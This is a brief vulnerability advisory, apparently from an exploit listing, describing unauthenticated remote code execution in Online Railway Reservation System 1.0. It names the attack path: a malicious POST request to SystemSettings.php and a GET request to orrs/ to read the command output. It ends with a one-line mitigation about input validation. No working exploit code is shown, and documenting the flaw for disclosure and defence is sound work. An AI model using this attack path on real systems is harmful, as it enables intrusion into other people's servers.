Online Railway Reservation System 1.0 – Remote Code Execution (RCE) (Unauthenticated)

A vulnerability exists in the Online Railway Reservation System 1.0, which allows an unauthenticated attacker to execute arbitrary code on the vulnerable system. This is achieved by sending a malicious POST request to the SystemSettings.php file, which contains a payload that is executed by the vulnerable system. The attacker can then view the output of the command by sending a GET request to the orrs/ directory.

Mitigation:

The vendor should patch the vulnerability by properly validating user input and sanitizing the data before executing it.
